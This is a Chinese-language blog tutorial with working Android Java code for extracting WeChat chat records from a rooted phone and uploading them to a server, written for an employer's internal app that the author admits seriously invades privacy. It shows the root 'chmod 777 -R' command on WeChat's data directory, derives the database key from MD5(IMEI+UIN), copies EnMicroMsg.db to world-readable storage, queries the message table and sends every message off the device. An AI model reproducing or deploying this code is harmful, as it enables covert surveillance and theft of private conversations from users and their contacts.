带你一步步破解Android微信聊天记录解决方案

哪个小可爱在偷偷的看我~~

前言
最近公司需要做个内部应用，需求有通话并录音上传服务器，微信聊天记录上传服务器，我擦，竟然要做严重窃取隐私的功能，一万个草泥马奔腾而来，于是乎开始研究如何实现，网上的文章都不是很详细，本篇文章带你来一步步实现如何获取微信聊天记录，通话录音上传另一篇文章将予介绍

微信的聊天记录保存在Android内核中，路径如下：
“/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db” `目录下。

说明
1、微信聊天记录数据库它并不是保存sd卡下，而是保存在内核中，手机是看不到此目录，只有root过后才可以看到，至于如何Root这里就不做介绍了，如今手机越来越趋向于安全方面，所以root比较费事
2、数据库保存在data/data目录下，我们需要访问此目录以获得我们需要的信息，直接访问权限还是不够，此时需要进一步获取root权限
3、代码打开数据库，会遇到如下几个问题
(1) 微信数据库是加密文件，需要获取密码才能打开，数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字，如5a670a2e0d0c10dea9c7a4a49b812ce4，文件生成规则《MD5(“mm”+微信UIN)》 ,注：mm是字符串和微信uin拼接到一起再md5
(3) 直接连接数据库微信会报异常，所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN，目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中，_auth_uin字段下的value值
(5) 获取数据库密码，密码规则为：MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库，因为微信数据是sqlite 2.0，所以需要支持2.0才可以打开，网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar，但经测试不可行，后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容，剩下的就是sq语言了，聊天记录在message表中，好友在rcontact表中，群信息在chatroom表中等，根据自己需求去查找
6、为了更直观的看到表结构去操作，可以用sqlcipher去查看下载地址
开始一步步实现
1、获取root手机
有好多root工具，经过踩坑是一键root不了6.0以上手机的，大家可以去选择其他方案去获取root手机
2、项目获取微信数据库目录路径root最高权限
因为只有获取了root最高权限才可以对文件进行操作，通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下

/**
     * execRootCmd("chmod 777 -R /data/data/com.tencent.mm");
     * <p>
     * 执行linux指令 获取 root最高权限
     */
    public static void execRootCmd(String paramString) {
        try {
            Process localProcess = Runtime.getRuntime().exec("su");
            Object localObject = localProcess.getOutputStream();
            localDataOutputStream = new DataOutputStream((OutputStream) localObject);
            String str = String.valueOf(paramString);
            localObject = str + "\n";
            localDataOutputStream.writeBytes((String) localObject);
            localDataOutputStream.flush();
            localDataOutputStream.writeBytes("exit\n");
            localDataOutputStream.flush();
            localProcess.waitFor();
            localObject = localProcess.exitValue();
        } catch (Exception localException) {
            localException.printStackTrace();
        }finally {
            if (localDataOutputStream!=null){
                try {
                    localDataOutputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

3、拿到数据库EnMicroMsg.db路径
先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的，所以需要动态去获取，父级路径生成规则为**《MD5(“mm”+微信UIN)》**，下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、获取微信uin
微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中，如图所示

拿到此文件我们需要xml文件解析才可以获得_auth_uin的value，解析工具dom4j下载地址

/**
     * 获取微信的uid
     * 目标 _auth_uin
     * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
     */
    public static String initCurrWxUin(final Activity context) {
        String mCurrWxUin = null;
        File file = new File(WX_SP_UIN_PATH);
        try {
            in = new FileInputStream(file);
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(in);
            Element root = document.getRootElement();
            List<Element> elements = root.elements();
            for (Element element : elements) {
                if ("_auth_uin".equals(element.attributeValue("name"))) {
                    mCurrWxUin = element.attributeValue("value");
                }
            }

            return mCurrWxUin;
        } catch (Exception e) {
            e.printStackTrace();
            if(MainActivity.isDebug){
                Log.e("initCurrWxUin", "获取微信uid失败，请检查auth_info_key_prefs文件权限");
            }
            context.runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                }
            });

        }finally {
            try {
                if(in!=null){
                    in.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return "";
    }

5、获取微信数据库密码
密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin,接下来需要获取手机IMEI，
获取方法1：在手机拨号键输入：*#06# 即可获取
获取方法2：代码中获取

/**
     * 获取手机的imei
     *
     * @return
     */
    @SuppressLint("MissingPermission")
    private static String getPhoneIMEI(Context mContext) {

        String id;
        //android.telephony.TelephonyManager
        TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (mTelephony.getDeviceId() != null) {
            id = mTelephony.getDeviceId();
        } else {
            //android.provider.Settings;
            id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
        }
        return id;
    }

接下来需要生成密码

/**
     * 根据imei和uin生成的md5码获取数据库的密码
     *
     * @return
     */
    public static String initDbPassword(final Activity mContext) {
        String imei = initPhoneIMEI(mContext);
        //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2
        if("868739046004754".equals(imei)){
            imei = "99001184251238";
        }
        else if("99001184249875".equals(imei)){
            imei = "868739045977497";
        }
        String uin = initCurrWxUin(mContext);
        if(BaseApp.isDebug){
            Log.e("initDbPassword", "imei===" + imei);
            Log.e("initDbPassword", "uin===" + uin);
        }
        try {
            if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
                if(BaseApp.isDebug){
                    Log.e("initDbPassword", "初始化数据库密码失败：imei或uid为空");
                }
                mContext.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                    }
                });
                return "";
            }
            String md5 = Md5Utils.md5Encode(imei + uin);
            String password = md5.substring(0, 7).toLowerCase();
            if(BaseApp.isDebug){
                Log.e("initDbPassword", password);
            }
            return password;
        } catch (Exception e) {
            if(BaseApp.isDebug){
                Log.e("initDbPassword", e.getMessage());
            }
        }
        return "";
    }

6、复制数据库
为啥要复制数据库呢？因为直接去链接数据库微信会奔溃，所以我们需要将数据库拷贝出来再进行操作
踩坑1：数据库复制的路径也需要获取root权限，即Linux 的chmod 777 -R去申请
踩坑2：复制的路径如果是二级目录，需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);

public class FileUtilCopy {
    private static FileOutputStream fs;
    private static InputStream inStream;

    /**
     * 复制单个文件
     *
     * @param oldPath String 原文件路径 如：c:/fqf.txt
     * @param newPath String 复制后路径 如：f:/fqf.txt
     * @return boolean
     */
    public static void copyFile(String oldPath, String newPath) {
        try {
            int byteRead = 0;
            File oldFile = new File(oldPath);

            //文件存在时
            if (oldFile.exists()) {
                //读入原文件
                inStream = new FileInputStream(oldPath);
                fs = new FileOutputStream(newPath);
                byte[] buffer = new byte[1444];
                while ((byteRead = inStream.read(buffer)) != -1) {
                    fs.write(buffer, 0, byteRead);
                }
            }

        } catch (Exception e) {
            if (BaseApp.isDebug) {
                Log.e("copyFile", "复制单个文件操作出错");
            }
            e.printStackTrace();
        } finally {
            try {
                if (inStream != null) {
                    inStream.close();
                }
                if (fs != null) {
                    fs.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
}

7、打开数据库
注：网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的，但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0，微信还是对自家人友善

 /**
     * 连接数据库
     */
    public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {

        SQLiteCipherSpec cipher = new SQLiteCipherSpec()  // 加密描述对象
                .setPageSize(1024)        // SQLCipher 默认 Page size 为 1024
                .setSQLCipherVersion(1);  // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库

        try {
            //打开数据库连接
            System.out.println(dbFile.length() + "================================");
            SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
                    dbFile,     // DB 路径
                    mDbPassword.getBytes(),  // WCDB 密码参数类型为 byte[]
                    cipher,                 // 上面创建的加密描述对象
                    null,                   // CursorFactory
                    null                    // DatabaseErrorHandler
                    // SQLiteDatabaseHook 参数去掉了，在cipher里指定参数可达到同样目的
            );
            //获取消息记录
            getReMessageData(db);
        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    showToast("读取数据库信息失败");
                    L.e("读取数据库信息失败");
                }
            });
        }
    }

8、演示获取微信聊天记录并上传
可以让后台保存最后上传时间，下次上传新消息时用最后时间取查
注：微信数据库时间精确到毫秒

String messageSql = "select * from message where  createTime >";

    /**
     * 获取聊天记录并上传
     *
     * @param db
     */
    public void getReMessageData(SQLiteDatabase db) {
        Cursor cursor3 = null;
        if (BaseApp.isDebug) {
//            Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));
        }
        try {
            //判断是否强制更新所有的记录
            if (mLastTime == 0) {
                //如果是选择全部,则sql 为0
                if (true) {
                    cursor3 = db.rawQuery(messageSql + 0, null);
                    Log.e("query", "更新状态:更新全部记录" + messageSql + 0);
                } else {
                    //不是选择全部,则sql 为用户输入值
//                    String searchMessageSql = messageSql + addTimestamp+ "  and createTime < "+endTimestamp;
//                    cursor3 = db.rawQuery(searchMessageSql, null);
//                    Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);
                }
            } else {
                Log.e("query", "按时间节点查询" + messageSql +mLastTime);
                cursor3 = db.rawQuery((messageSql + mLastTime), null);
//                Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);
            }

            List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();

            while (cursor3.moveToNext()) {
                String content = cursor3.getString(cursor3.getColumnIndex("content"));

                if (content != null && !TextUtils.isEmpty(content)) {

                    WeChatMessageBean messageBean = new WeChatMessageBean();
                    String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));
                    int type = cursor3.getInt(cursor3.getColumnIndex("type"));
                    int status = cursor3.getInt(cursor3.getColumnIndex("status"));
                    int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));
                    String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));
                    String talker = cursor3.getString(cursor3.getColumnIndex("talker"));

                    messageBean.setMsg_id(msg_id);
                    messageBean.setType(type);
                    messageBean.setStatus(status);
                    messageBean.setIs_send(is_send);
                    messageBean.setCreate_time(create_time);
                    messageBean.setContent(content);
                    messageBean.setTalker(talker);
                    weChatMessageBeans.add(messageBean);
                }
            }
            if (weChatMessageBeans.size() < 1) {
                L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");
                return;
            }

            //3.把list或对象转化为json
            Gson gson2 = new Gson();
            String str = gson2.toJson(weChatMessageBeans);
            if (BaseApp.isDebug) {
                Logger.json(str);
            }
            //上传服务器
            mPresenter.getWechatRecordSuccess(str);

        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    L.e("读取数据库信息失败");
                    showToast("读取数据库信息失败");

                }
            });
        } finally {
            if (cursor3 != null) {
                cursor3.close();
            }
            if (db != null) {
                db.close();
            }
        }

    }

9、pc端更直观去查看数据库结构可通过sqlcipher去查看下载地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db拷贝到电脑上
用SQLit打开

---

---

最后祝大家开发愉快!